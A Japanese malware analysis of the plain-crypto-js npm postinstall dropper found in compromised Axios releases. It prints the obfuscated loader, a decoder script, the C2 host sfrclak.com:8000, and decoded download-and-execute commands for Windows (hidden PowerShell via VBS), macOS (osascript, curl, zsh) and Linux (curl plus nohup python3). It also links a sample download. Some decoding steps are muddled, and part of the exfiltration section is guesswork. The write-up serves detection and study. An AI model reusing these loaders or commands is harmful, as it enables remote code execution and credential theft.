概要
2026年3月31日、npmパッケージplain-crypto-js が、Axios(0.xおよび1.x)の侵害されたバージョンに埋め込まれた悪意のある依存関係として識別されました。このパッケージはnpmのpostinstallライフサイクルフック を活用して、ステルス的なクロスプラットフォーム マルウェアを実行します。
この攻撃は世界中の開発者に影響を与え、リモート攻撃者が認証情報を流出させ、任意のスクリプトを実行し、感染したシステムに対する永続的な制御を維持する ことを可能にしました。
主な要点:
- クロスプラットフォーム攻撃: Windows、macOS、Linux
- リモート コマンド & コントロール: http://sfrclak.com:8000/
- 認証情報の盗難: npmトークン、AWSキー、SSHキー、CI/CDシークレット
- 正当なシステムバイナリを悪用(LOLBINテクニック)
- 完全なステルス、マルチステージペイロード実行
plain-crypto-jsとは?
- タイプ: npmパッケージ
- 正当な目的: 暗号化ユーティリティ(暗号化、ハッシュ化)
- 悪意のある役割:
トロイの木馬化されたバージョンがnpmにアップロードされ、postinstallフックを介したマルウェア ドロッパーとして機能します。
インストール中に自動的に実行され、OS固有のペイロード をデプロイしてデータを盗み、永続性を維持します。
感染ベクトル
plain-crypto-js マルウェアはソフトウェア サプライチェーン侵害を通じて拡散し、特にnpmエコシステムを標的としています。
感染方法
- 攻撃者は悪意のあるパッケージ (plain-crypto-js)をnpmレジストリに公開またはインジェクトします。
- このパッケージは、広く使用されているAxiosライブラリの侵害されたバージョンの内部に依存関係として含まれます。
- 開発者は通常、Axiosをインストールします:
npm install axios
- インストール中に、npmはライフサイクル スクリプトを自動実行します:
"postinstall": "node setup.js"
- これにより、悪意のあるsetup.jsスクリプトがユーザーの認識なしにトリガーされます。
主要な攻撃ベクトル
1. 推移的な依存関係ポイズニング
- 開発者は悪意のあるパッケージを直接インストールしません
- 代わりに、それはネストされた依存関係として自動的にプルされます
- これにより、検出が非常に困難になります
2. 人気のあるパッケージでの信頼濫用
- Axiosは広く信頼され、以下で使用されています:
- ウェブ アプリケーション
- バックエンド API
- CI/CDパイプライン
- 攻撃者はこの信頼を悪用して大量配信 を実現します
3. npmを介した自動コード実行
- npmはデフォルトでpostinstallスクリプトを実行します
- これにより、攻撃者は以下を実行できます:
- 任意のコードを実行
- ペイロードをダウンロード
- 直ちに感染を開始
Axiosとは?
- タイプ: Node.jsおよびブラウザ用の人気のあるHTTPクライアント ライブラリ
- 目的: HTTPリクエスト(GET、POSTなど)を簡素化します
- インシデント役割:
この攻撃はAxiosの依存関係を通じて推移的に拡散し、開発者は悪意のあるパッケージを直接インストールすることなく感染していました。
マルウェア サンプル ダウンロード
ペイロードをさらに調査したいセキュリティ研究者およびアナリスト向けに、このキャンペーンに関連するサンプルがabuse.ch MalwareBazaarを通じて利用可能です:
https://bazaar.abuse.ch/download/e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09/
警告
- このファイルは悪意のあるものであり、制御された ラボ環境(VM/サンドボックス)でのみ処理する必要があります。
- 本番システムでは実行しないでください。
- C2インフラストラクチャとの不本意な通信を防ぐため、ネットワーク分離を確保してください。
推奨用途
- 静的および動的マルウェア分析
- IOC検証および検出エンジニアリング
- リバース エンジニアリングおよび動作研究


plain-crypto-js ドロッパー
感染チェーン全体はnpmのpostinstallライフサイクルフックに依存しており、これはパッケージインストール中の自動コード実行を可能にします。
被害者がAxiosの侵害されたバージョンをインストールすると、依存関係plain-crypto-js@^4.2.1 が静かにプルされて実行されます。
悪意のある設定
"scripts": { "postinstall": "node setup.js"}
コード分析
ステップ 1 – 難読化関数
スクリプトは_trans_1と_trans_2の2つの関数を定義します。
- _trans_1はハードコードされたキー(OrDeR_7077)を使用してXORベースの復号化を実行します
- _trans_2は複数のレイヤーを適用します:
- 文字列反転
- Base64デコーディング
- XOR復号化
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((ch, i) => {
const S = ch.charCodeAt(0);
const a = E[7 * i * i % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
};
const _trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
};
すべての意味のある文字列(モジュール、コマンド、ペイロード)を静的分析ツールおよびアナリストから隠すためです。
ステップ 2 – 暗号化されたペイロード ストレージ
マルウェアは、エンコードされた文字列を含むstqという難読化配列内にコア ロジックを格納します:
- モジュール名
- コマンド & コントロール(C2)URL
- OS固有のペイロード
- 実行コマンド
const stq = ["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx", "__gvELKx", "__gvEvKx", ...];
const ord = "OrDeR_7077";
拡張難読化テクニック
標準的な難読化とは異なり、このマルウェアはBase64デコーディングを破るためにマルチシンボル置換を使用します:
.replaceAll("_", "=").replaceAll("-", "=").replaceAll(")", "=").replaceAll("*", "=").replaceAll("(", "=")
復号化メカニズム
- 文字列を反転
- 難読化された文字を正規化
- Base64デコーディング
- ハードコードされたキー(OrDeR_7077)を使用したXOR復号化
const stq = ["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx","__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","","__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bxtWcoF/axsSsoF3axvWMqFXIxZSMjE3JxSScmE3JxvW8rFraxhSMqEnKxtW8qFraxvW8rFbIxESMhEHIxSS8nE7IxZS8rF/axtWMqF/axFScmEzIxdSclE7JxdS8rFjaxtWMqEHKxkS8qEfaxtWsvE7LxrScvETLxvScrF3LxvSMoF3axjS8rEnKxpSMpEXKxtWcvEDaxtW8rFjaxUS8nEzIxDSMhEjIxSSsnE3JxoW8rF3axrWcrF/axoWchEnJxMSsmELJxeScnE/axvWsqFPbxtW8rFjaxGS8gETIxBSskEjJxOSsnE/axoWcrF/axvWMvFnLxpSMuEnKxiSMuE3LxiWsqE/LxiSMpFDKx9S8oETax+SMqErKxsSspEnKxsScvE/axoWcrFnKxgWcrFnJxZSsgE3JxtWskEDaxtWsvEDaxtWspE/Lx4SsrEraxuSsoF3axoSctE/KxjWcqEDKxpS8rF3axjSMuE/JxkWcoEHKxoSsoE7JxnS8rELKxtWsqF3axtW8hFPaxvWcoEHKxoScpEnJxjWcuE3LxjS8vE7KxeSsmE/axiWcuE7KxoSMoE/KxCSMqEnLxsS8rE/LxOScrFfbxtWcoEHKxoScpEnJxnS8rELKxqWcuEjKxeScrF3axqWcrFfYx","_sKxiWcrFjaxFScmEzIxdSskEbIxMSsjELIxGS8rF3axhSMqEnKxqW8qFvaxtWcpErKxiScoELKxjScpFLaxtW8rFLIxZSMjE3JxSScgEvIxOSsgEHIxoWcrFnLx9SMpE/LxpSsvE7Kx","__wrFLIxZSMjE3JxSScgEvIxOSsgEHIxqW8qE/LxgWcrFDKx4S8rF3ax5SsuETKx/SsrE7LxtWspEHKxoScpEnLxtWsoEnKxtWcrFraxtW8hFTLx4ScuE3axpS8oEjKxqWcrF3axtWsqF3axtWcrFfYxvWspEHKx4S8oEXax7SMqEnKxiWcrFTbxrWcrF/axWS8qF3axvWcrFvaxqWsvE3axrWsqF/axtW8rF3axrWsqFnKxtW8qFraxvW8rFHJxtWsrEfaxtWcpE7LxwSsoFPKxkS8rELaxqW8qFvaxtWMqF3axrWcrFnKxtWMrF3axvWcrFrbx6WsuF3axpSsoEfKxlSsrE3axsW8qF3axvWcrFvaxqWsvE3axrWsqF/axtWsvEDaxtWMqF3axrWcrFjax9WcuE7Kx4ScqEXKx/ScvELaxtS8vELKxjWMoE3LxkS8oF7LxoScrEzKxmSsrEzKx9SsqFnKxgWcrFjaxtW8qF3axsScrFzaxtWcqE3axsWcrF/axtWsoEDaxqWcoE/Lx4ScqE/axtWcuE3LxkSMuE7Kx+ScrFbKxhSMqEXKx+ScrFXKxpScrF3axqWcrF3axtWcrF3axqWcrF3axtWMgFTLx/ScuE3axtWsqF3axtWcrFraxtW8hFDLxvWcqETKxiSMoEPax+SsrEzKxjWMqEHKx6ScvEzKxjW8pELKxuSsoF7LxoSsoE7KxsSsjEXax0S8vEzKx/S8rEPKxBSsoF/axqWcoF/axGS8gETIxGSskE/JxOScmE/axtWcoF/axvWcsE3axiScuEraxwScqE3axhWsvEraxhWMrEbLxqWcuEjKx+ScrF3axqWcrFfYx","__wqF3ax8W8qFTbx/WcrFHKxmSMuEPKxiW8uEjKxuSsoF3axzWsqF/axFScmEzIxdSclEHIxMSsjEXIxBS8rF3ax5ScvEPKx/SsrE7LxrSsvELKxtWcvEjLxiSsoEPKx","","_saxtW8uFvaxzW8vFraxhScoEjLxjSsoFzLxoScqELaxqW8sF3axGS8gETIxGSskE/JxOScmE3ax0ScvEPaxpSspELax9SMoE7LxiWcrF7bxjSsoELKx5SMtE3LxqWcvEjLxlSsoEPKxqW8qFvaxtWcgEPIxEScgELJxfSciE7JxtWsvEfaxtW8vFnLxuSMuE7KxiS8vE3LxlWsqE/LxiS8oFDKx6S8oEPax+S8rErKxsSspE7KxsSsuE3axpSMoFrax0ScvEPaxpScoEXax9SMoEnLxlWcrFLKxgWcrFHKx4SMuE7Kx","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx","_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax","_4LxoS8uEPax"];
const ord = "OrDeR_7077";
function _trans_1(x, r) {
const E = r.split("").map(Number);
return x.split("").map((ch, i) => {
const S = ch.charCodeAt(0);
const a = E[(7 * i * i) % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
}
function _trans_2(x, r) {
try {
let E = x.split("").reverse().join("")
.replaceAll("_", "=")
.replaceAll("-", "=")
.replaceAll(")", "=")
.replaceAll("*", "=")
.replaceAll("(", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
} catch (e) {
return "[decode error]";
}
}
// デコード全て
stq.forEach((v, i) => {
console.log(i, "=>", _trans_2(v, ord));
});

Windows、macOS、およびLinuxの復号化されたペイロード、ファイルパス、および実行コマンドの完全なリストを出力します。
復号化された出力(主要な検出項目)

コマンド & コントロール(C2)
- http://sfrclak.com:8000/
→ 以下に使用される中央サーバー:- 被害者データの受信
- 第2段階ペイロードの配信
http://sfrclak.com:8000/
コア モジュール
[0] child_process → システム コマンド実行を有効化
[1] os → オペレーティング システムを検出
[2] fs → ファイル操作を処理
[3] http://sfrclak.com:8000/ → リモート コマンド & コントロール(C2)サーバー
[5] win32 → Windows ターゲット検出
[6] darwin → macOS ターゲット検出
[7] VBS ドロッパー → PowerShell ペイロードをダウンロード&実行(隠蔽、バイパス)
[8] Windows 実行 → VBS をサイレント実行して削除
[9] macOS スクリプト → ペイロードをキャッシュにダウンロードして zsh 経由で実行
[10] macOS 実行 → AppleScript をバックグラウンドで実行(ステルス モード)
[12] Linux ローダー → Python ペイロードをダウンロードして nohup 経由で実行
[13] package.json → 正当な npm パッケージとして偽装
[14] package.md → 追加カモフラージュ ファイル
[15] .exe → Windows バイナリ ペイロード
[16] .ps1 → PowerShell スクリプト ペイロード
[17] .vbs → VBScript ローダー
ステップ 3 – エントリ ポイント
コード:
_entry("6202033");
説明:
- _entry()はマルウェアのメイン実行関数です。
- 文字列「6202033」はペイロード識別子として使用され、以下としても機能します:
- 一時的なペイロードのファイル名。
- OSスペシフィック ローダーに送信されるスクリプトまたはコマンドのパラメーター。
- スクリプト内のプレースホルダーを動的に置き換えるための内部参照(例: URL、パス)。
悪意のある理由:
- この呼び出しはすべての復号化、ペイロード構築、実行ロジックを1つのステップでトリガーします。
- OS検出、ファイル書き込み、コマンド実行ルーチンを呼び出すことで、クロスプラットフォーム感染を開始します。
- この呼び出しなしでは、スクリプトの残りは不活性のままであり、_entry()をマルウェアの重要なアクティベーション ポイントにします。
トリガーされるフロー例:
- OS検出(Windows、Linux、macOS)
- ペイロード ビルディング(例: PowerShellスクリプト、Pythonスクリプト、シェルスクリプト)
- ファイル作成とC2サーバーとのネットワーク通信
- 実行とステルス性を維持するためのクリーンアップ
ステップ 4 – 環境変数のデコーディング
元のコード
let E = atob("TE9DQUw^".replaceAll("^","=")) +
atob("X1BBVEg^".replaceAll("^","="));
let S = atob("UFM_".replaceAll("_","=")) +
atob("X1BBVEg_".replaceAll("_","="));
let a = atob("U0NSXw--".replaceAll("-","=")) +
atob("TElOSw))".replaceAll(")","="));
let c = atob("UFNfQg--".replaceAll("-","=")) +
atob("SU5BUlk*".replaceAll("*","="));
let s = atob("d2hlcmUgcG93ZXJzaGVsbA((".replaceAll("(","="));
ステップ a – E(LOCAL_PATH)をデコード
"TE9DQUw^".replaceAll("^","=")
→ "TE9DQUw="atob("TE9DQUw=")
→ "LOCAL""X1BBVEg^".replaceAll("^","=")
→ "_PATH"atob("_PATH")
→ "_PATH"(エンコードされていない、同じままE = "LOCAL" + "_PATH"
→ "LOCAL_PATH"
結果: LOCAL_PATH = “LOCAL_PATH”
ステップ b – S(PS_PATH)をデコード
"UFM_".replaceAll("_","=")
→ "PSS="atob("PSS=")
→ "PS""X1BBVEg_".replaceAll("_","=")
→ "_PATH"atob("_PATH")
→ "_PATH"S = "PS" + "_PATH"
→ "PS_PATH"
結果: PS_PATH = “PS_PATH”
ステップ c – a(SCR_LINK)をデコード
"U0NSXw--".replaceAll("-","=")
→ "SCR_="atob("SCR_=")
→ "SCR""TElOSw))".replaceAll(")","=")
→ "LINK"atob("LINK")
→ "LINK"a = "SCR" + "LINK"
→ "SCR_LINK"
結果: SCR_LINK = “SCR_LINK”(これは実際のURLの後のプレースホルダーです。例: http://sfrclak.com:8000/ )
ステップ d – c(PS_BINARY)をデコード
"UFNfQg--".replaceAll("-","=")
→ "PS_B"atob("PS_B")
→ "PS_B""SU5BUlk*".replaceAll("*","=")
→ "INARY"atob("INARY")
→ "INARY"c = "PS_B" + "INARY"
→ "PS_BINARY"
結果: PS_BINARY = “PS_BINARY” → 実際のPowerShell実行可能ファイルのプレースホルダー(例: powershell.exe)
ステップ e – s(powershellの場所)をデコード
"d2hlcmUgcG93ZXJzaGVsbA((".replaceAll("(","=")
→ "d2hlcmUgcG93ZXJzaGVsbA=="atob("d2hlcmUgcG93ZXJzaGVsbA==")
→ "where powershell"
結果: s = “where powershell” → Windows上のPowerShellを見つけるコマンド
サマリー テーブル
| 変数 | デコード値 | 目的 |
|---|---|---|
| E | LOCAL_PATH | 一時ファイル パス |
| S | PS_PATH | PowerShell スクリプト パス |
| a | SCR_LINK | リモート ペイロード URL |
| c | PS_BINARY | PowerShell 実行可能ファイル |
| s | where powershell | PS バイナリの場所を特定 |
ステップ 5 – 動的モジュール ローディング
元のコード
const t = require(_trans_2(stq[2], ord));const W = require(_trans_2(stq[1], ord));const { execSync: F } = require(_trans_2(stq[0], ord));
ステップ a – _trans_2(stq[2], ord) → fs をデコード
_trans_2(stq[2], ord)
ステップ 2 デコーディング(decode.js出力)から:
2 => fs
デコード後:
const t = require("fs");
t = fsモジュール → ファイル操作(読み取り/書き込み/コピー/削除)に使用されます。
ステップ b — _trans_2(stq[1], ord) → os をデコード
_trans_2(stq[1], ord)
ステップ 2 デコーディングから:
1 => os
デコード後:
const W = require("os");
W = osモジュール → システム情報(プラットフォーム、アーキテクチャ、一時ディレクトリ)に使用されます。
ステップ c — _trans_2(stq[0], ord) → child_process をデコード
_trans_2(stq[0], ord)
ステップ 2 デコーディングから:
0 => child_process
デコード後:
const { execSync: F } = require("child_process");
F = child_processの execSync関数 → シェル コマンドを直接実行するために使用されます。
悪意のある理由
- 動的にモジュールをローディングすることで、静的スキャナーからどの危険なモジュールがスクリプトで使用されているかを隠します。
- fs → 悪意のあるスクリプトをディスクに書き込みます。
- os → 環境を検出してOS固有のペイロードを実行します。
- child_process → ダウンロードされたスクリプトまたはPowerShellコマンドを実行します。
| 変数 | ロード済みモジュール | 目的 |
|---|---|---|
| t | fs | ファイル読み取り/書き込み/コピー/削除 |
| W | os | システム情報(プラットフォーム、tmpdir、arch) |
| F | child_process.execSync | シェル コマンドを実行(Windows/Linux/macOS) |
これは重要なステップです。なぜなら、これはステップ 4 からの復号化された設定を実際のシステムレベルの操作と結合し、マルウェアがコマンドを実行してファイルをドロップできるようにするためです。
ステップ 6 – システム 偵察
元のコード
const o = W.platform();const e = W.tmpdir();
ステップ a – W を理解する
ステップ 5から、既にデコード済み:
const W = require("os");
ここで:
- W.platform() → Node.js OS検出
- W.tmpdir() → システム一時ディレクトリ
ステップ b – オペレーティング システムを取得
const o = W.platform();
可能な出力:
"win32"
→ Windows"darwin"
→ macOS"linux"
→ Linux
例: o = “win32”
ステップ c – 一時ディレクトリを取得
const e = W.tmpdir();
可能な出力:
Windows → C:\Users\User\AppData\Local\TempLinux → /tmpmacOS → /var/folders/.../T/
例:e = “/tmp”
一時ディレクトリが重要な理由
- 管理者権限なしで書き込み可能
- ユーザーによって一般的に無視される
- 以下の理想的な場所:
- ペイロード ファイルのドロップ
- スクリプトをサイレント実行
- 後で痕跡をクリーニング
後で使用する方法
復号化された出力から:
Linux/macOS
→ /tmpに ペイロードを書き込みWindows
→ Temp + PowerShell スクリプトを使用
使用例(後のステップ): let scriptPath = e + “/” + x;
悪意のある理由
- OSを検出してターゲット固有のペイロードを実行します
- ステルス実行のために一時ディレクトリを使用します
- クロスプラットフォーム感染の準備を行います
| 変数 | 値ソース | 例 | 目的 |
|---|---|---|---|
| o | os.platform() | win32 | オペレーティング システムを識別 |
| e | os.tmpdir() | /tmp | ペイロード ファイルを保存して実行 |
ステップ 7 – ペイロード 構築
元のコード
const q = _trans_2(stq[3], ord) + x;
ステップ a – stq[3] をデコード
デコード済みの stq 配列(ステップ 2)から:
3 => "http://sfrclak.com:8000/"
_trans_2復号化後:
_trans_2(stq[3], ord) //
→ "http://sfrclak.com:8000/"
ステップ b – ペイロード パラメーターを追加
const x = "6202033"; // _entryで提供されたconst q = "http://sfrclak.com:8000/" + x;
結果:q = http://sfrclak.com:8000/6202033
この変数が何をするか
- qは現在、攻撃者のサーバーを指す完全なURLを含んでいます
- 追加されたxは以下の可能性があります:
- 被害者識別子
- セッション トークン
- ペイロード ID
- このURLは後で以下に使用されます:
- 悪意のあるスクリプトをダウンロード
- C2サーバーにシステム情報を送信
悪意のある理由
- 攻撃者のサーバー URLを暗号化されたデータ(stq)に隠します
- 被害者ごとにURLを動的に構築します
- リモート制御/ペイロード ダウンロードを有効にします
- URLは実行時にのみ表示されるため、静的シグネチャ検出を回避します
後での使用例
// Windows 例script = script.replaceAll(a, q); // URLをPowerShell スクリプトに挿入// Linux/macOS 例do shell script "curl -o /tmp/ld.py -d " & q
| 変数 | 値 | 目的 |
|---|---|---|
| stq[3] | “http://sfrclak.com:8000/“ | 攻撃者 サーバー ベース URL |
| x | “6202033” | ペイロード 識別子 |
| q | “http://sfrclak.com:8000/6202033″ | スクリプト ダウンロード/実行用の完全なペイロード URL |
ステップ 8 – OS チェック ロジック
元のコード
for (;;) { if (o === _trans_2(stq[6], ord)) { // Linux/macOS } else if (o === _trans_2(stq[5], ord)) { // Windows } else { // フォールバック } break;}
ステップ 8a – ループを理解する
for (;;) { ... break; }
- これは無限ループ(for(;;))です
- しかし、breakを使用して直ちに終了します
- ❗ これは分析ツールを混乱させるための難読化です
同等:
if (...) { ...} else if (...) { ...} else { ...}
ステップ b – OS 値をデコード
デコード済み配列から:
5 => "win32"6 => "darwin"
したがって:
_trans_2(stq[6], ord)
→ "darwin" // macOS_trans_2(stq[5], ord)
→ "win32" // Windows
ステップ c – システム OS と比較
ステップ 6から:
const o = W.platform();
ロジックは次のようになります:
if (o === "darwin") { // macOS ペイロード} else if (o === "win32") { // Windows ペイロード} else { // Linux / フォールバック ペイロード}
ステップ d — 実行パス
| 検出された OS | 条件 | ペイロード パス |
|---|---|---|
| macOS | “darwin” | macOS スクリプト(osascript) |
| Windows | “win32” | PowerShell + VBS |
| Linux | (フォールバック) | Bash / Python スクリプト |
悪意のある理由
- クロスプラットフォーム攻撃を有効化します
- OS ごとに正しいペイロードを確実に実行します
- マルウェアを露出させる可能性のあるクラッシュを回避します
- 感染の成功率を向上させます
デコード済みペイロードの実際の動作
デコード済みペイロードから:
- Windows → 使用:
- PowerShell
- .vbs、.ps1、.cmd
- macOS → 使用:
- osascript
- /Library/Caches/…
- Linux → 使用:
- /tmp/ld.py
- python3
ステップ 9 – Windows ペイロード
元のコード
let r = F(s).toString().trim();let W_path = process.env.PROGRAMDATA + "\\wt" + _trans_2(stq[15], ord);if (!t.existsSync(W_path)) { t.copyFileSync(r, W_path);}let scriptPath = e + "\\" + x + _trans_2(stq[17], ord);let cmdPath = e + "\\" + x + _trans_2(stq[16], ord);let script = _trans_2(stq[7], ord);script = script.replaceAll(a, q);script = script.replaceAll(S, cmdPath);script = script.replaceAll(c, W_path);t.writeFileSync(scriptPath, script);n = _trans_2(stq[8], ord);n = n.replaceAll(E, scriptPath);
ステップ a – PowerShell パスを検索
let r = F(s).toString().trim();
ステップ 4 から:
s = "where powershell"
したがって: where powershell
出力例:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
現在はPowerShellへのフルパスを含んでいます
ステップ b — 偽の PowerShell コピーを作成(LOLBIN)
let W_path = process.env.PROGRAMDATA + "\\wt" + ".exe";
デコード から:
stq[15]
→ ".exe"
例: C:\ProgramData\wt.exe
その後:
if (!t.existsSync(W_path)) { t.copyFileSync(r, W_path);}
実際の PowerShell → wt.exe をコピーします。なぜですか?
- 偽の名前の下で実行を隠します
- 信頼できるバイナリを使用(Living-Off-The-Land Binary – LOLBIN)
ステップ c – ファイル パスを準備
let scriptPath = e + "\\" + x + ".vbs";let cmdPath = e + "\\" + x + ".ps1";
デコード から:
stq[17]
→ ".vbs"stq[16]
→ ".ps1"
例:
Temp\6202033.vbsTemp\6202033.ps1
ステップ d – 悪意のある VBS スクリプトを生成
let script = _trans_2(stq[7], ord);
デコード済み出力から:
Set objShell = CreateObject("WScript.Shell")objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
実際の値を挿入
script = script.replaceAll(a, q); // SCR_LINK を置き換えscript = script.replaceAll(S, cmdPath); // PS_PATH を置き換えscript = script.replaceAll(c, W_path); // PS_BINARY を置き換え
最終的な動作:
- ペイロードを以下からダウンロード:
http://sfrclak.com:8000/6202033
.ps1として保存
隠蔽された PowerShell を使用して実行
証拠を削除
ステップ e – VBS ファイルを書き込み
t.writeFileSync(scriptPath, script);
悪意のある .vbs ファイルを Temp ディレクトリに書き込みます
ステップ f – 実行コマンドを準備
n = _trans_2(stq[8], ord);n = n.replaceAll(E, scriptPath);
デコード から:
8 => cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f
置換後:
cscript "C:\Temp\6202033.vbs" //nologo && del "C:\Temp\6202033.vbs" /f
これが非常に悪意のある理由
1. LOLBIN 悪用
- 正当なツールを使用:
- powershell.exe
- cscript.exe
- ウイルス対策による検出が難しくなります
2. マルチステージ実行
- VBS が実行
- PowerShell スクリプトをダウンロード
- ペイロードを実行
- 痕跡を削除
3. ステルス テクニック
- 隠蔽実行(-w hidden)
- 実行ポリシー バイパス(-ep bypass)
- 自己削除
4. リモート制御
- 攻撃者サーバーに接続: http://sfrclak.com:8000/6202033
サマリー
| ステージ | アクション |
|---|---|
| 1 | PowerShell を見つける |
| 2 | 偽のバイナリ(wt.exe)としてコピー |
| 3 | .vbs + .ps1 パスを作成 |
| 4 | 悪意のある URL を挿入 |
| 5 | VBS ローダーを書き込み |
| 6 | cscript を介して実行 |
| 7 | 痕跡を削除 |
ステップ 10 – Linux / macOS ペイロード
元のコード
let r = e + "/" + x;let script = _trans_2(stq[9], ord);script = script.replaceAll(a, q);script = script.replaceAll(E, r);t.writeFileSync(r, script);n = _trans_2(stq[10], ord);n = n.replaceAll(E, r);
ステップ a – ペイロード ファイル パスを作成
let r = e + "/" + x;
ステップ 6 から:
- e = 一時ディレクトリ(例: /tmp)
- x = “6202033”
結果:/tmp/6202033
ステップ b — ペイロード スクリプトをデコード
let script = _trans_2(stq[9], ord);
デコード済み出力 から:
set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}try do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \"" & d & " " & s & " &\" &> /dev/null"end trydo shell script "rm -rf LOCAL_PATH"
ステップ c – 実際の値を挿入
script = script.replaceAll(a, q);script = script.replaceAll(E, r);
置換:
- SCR_LINK → http://sfrclak.com:8000/6202033
- LOCAL_PATH → /tmp/6202033
ステップ d — ペイロード ファイルを書き込み
t.writeFileSync(r, script);
悪意のあるスクリプトを以下に書き込みます:/tmp/6202033
ステップ e – 実行コマンドを準備
n = _trans_2(stq[10], ord);n = n.replaceAll(E, r);
デコード から:
10 => nohup osascript "LOCAL_PATH" > /dev/null 2>&1 &
最終コマンド:
nohup osascript "/tmp/6202033" > /dev/null 2>&1 &
これが何をするか
- curl を使用してペイロードをダウンロード
- 隠蔽されたシステム パスに保存(/Library/Caches/…)
- 実行可能にする(chmod 770)
- zsh 経由で実行
- バックグラウンドで実行(nohup)
- 痕跡を削除
データ流出
ペイロードが実行されると、マルウェアは機密データを収集してコマンド & コントロール(C2)サーバーに送信し始めます。
流出メカニズム
マルウェアはHTTP POST リクエストを使用して攻撃者制御下のサーバーにデータを送信します:
curl -s -X POST -d "packages.npm.org/product1" "SCR_LINK"
意味するところ
- SCR_LINK → 動的に解決される C2 エンドポイント(例: http://sfrclak.com:8000/6202033)
- -d → POST ボディでデータを送信
- packages.npm.org/productX → 難読化されたデータ マーカー
流出チャネル
デコード済みペイロード(product0、product1、product2)から、マルウェアはおそらくデータをセグメント化します:
| チャネル | 目的 |
|---|---|
| product0 | システム 偵察(OS、ホスト名、環境) |
| product1 | 認証情報&トークン |
| product2 | 追加ペイロード リクエスト / タスク処理 |
ターゲット データ
動作と典型的な npm 攻撃に基づいて、マルウェアは以下を盗むことができます:
- npm 認証トークン
- クラウド認証情報(AWS、Azure、GCP)
- SSH キー(~/.ssh/)
- 環境変数(.env)
- CI/CD シークレット(GitHub Actions、GitLab、Jenkins)
ステルス テクニック
流出は検出を回避するように設計されています:
- 正当なツールを使用(curl、python、PowerShell)
- トラフィックを通常の HTTP リクエストに混ぜます
- エンコードされた / 偽装されたパラメーター(productX)を使用
- バックグラウンド(nohup、隠蔽 PowerShell)で実行
継続的な通信
マルウェアは一度だけ流出するのではなく、以下も行います:
- C2 との通信を維持
- 追加のコマンドまたはペイロードを受け取る
- 実行ステータスで攻撃者を更新
これは単なるドロッパーではなく、データ収集インプラントです。
- 機密シークレットは数秒で盗まれる可能性があります
- CI/CD 侵害はサプライチェーン伝播につながる可能性があります
- 環境全体の乗っ取りを可能にします
ステップ 11 – フォールバック ペイロード
- マルウェアは以下のコマンドを構築します:
- 攻撃者サーバーからPython スクリプト(ld.py)をダウンロードします。
- 一時的な場所(/tmp)に保存します。
- python3 を使用してバックグラウンドでスクリプトを実行します。
- ユーザーが何も見えないようにすべての出力を非表示にします。
コード
n = _trans_2(stq[12], ord);n = n.replaceAll(a, q);
デコード から:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &
動作:
- Python ペイロードをダウンロード
- バックグラウンドで実行
- Linux システムで機能
ステップ 12 – 最終実行
- ステップ 11 で作成されたコマンドは以下を使用して実行されます:
execSync(n);
これが何をするか:
- 悪意のあるコマンドをシステムで直接実行します
- 実際の感染プロセスを開始します
コード
F(n);
ステップ 5 から:
F = execSync
最終アクション:
execSync(n);
システムで準備されたコマンドを実行します
クロスプラットフォーム マルウェア 攻撃: ステップバイステップ プロセス

ダイアグラムは、4つのステージに編成された12ステップのマルウェア 攻撃プロセスを視覚化し、明確性のためにアイコン、矢印、色分けセクションを含むダーク テーマのインフォグラフィックを使用します。
ステージ 1: 初期化(オレンジ セクション)
- 初期化 – ステルスのためにペイロードをエンコードして難読化します。
- モジュールの読み込み – ファイル、OS、コマンド処理に必要な重要な Node.js モジュール(fs、os、child_process)を動的に読み込みます。
- URL + ID をデコード – 悪意のあるサーバー URL(sfrclak.com)と一意のペイロード ID(6202033)を解決します。
エンコーディング用キューブ アイコン、モジュール アイコン、URL へ向かう矢印。
ステージ 2: 偵察(青セクション)
- OS を検出 – オペレーティング システム(win32、darwin、linux)をチェックして、ターゲット固有のペイロード デプロイメントを実行します。
- 一時ディレクトリを取得 – 書き込み可能な一時フォルダー(Windows の場合は C:\Temp、Unix ライク システムの場合は /tmp)を決定します。
- ペイロード URL を構築 – ペイロードを動的にフェッチするための完全な URL を構築します。
OS ロゴ、フォルダー アイコン、一時ディレクトリ用の温度計、URL 用のリンク アイコン。
ステージ 3: OS チェック(緑セクション)
- Windows ロジック – PowerShell または VBS を使用して Windows 固有のペイロードを準備します。
- Mac/Linux ロジック – Bash または Python を使用して Unix ライク ペイロードを準備します。
Windows および Apple/Linux ロゴ、対応するスクリプト作成アイコン。
ステージ 4: ペイロード 実行(赤セクション)
- Windows ペイロード – .exe、.ps1、または .vbs ファイルを一時フォルダーに書き込んで実行し、PowerShell とシステム バイナリを活用します。
- Mac/Linux ペイロード – ペイロード スクリプトを /tmp/ld.py に書き込み、権限を設定して、nohup または osascript を介して実行します。
- フォールバック スクリプト – OS 検出に失敗した場合、汎用 curl または Python スクリプトを実行します。
実行可能ファイル アイコン、一時フォルダー パス、Python/curl アイコン。
フロー
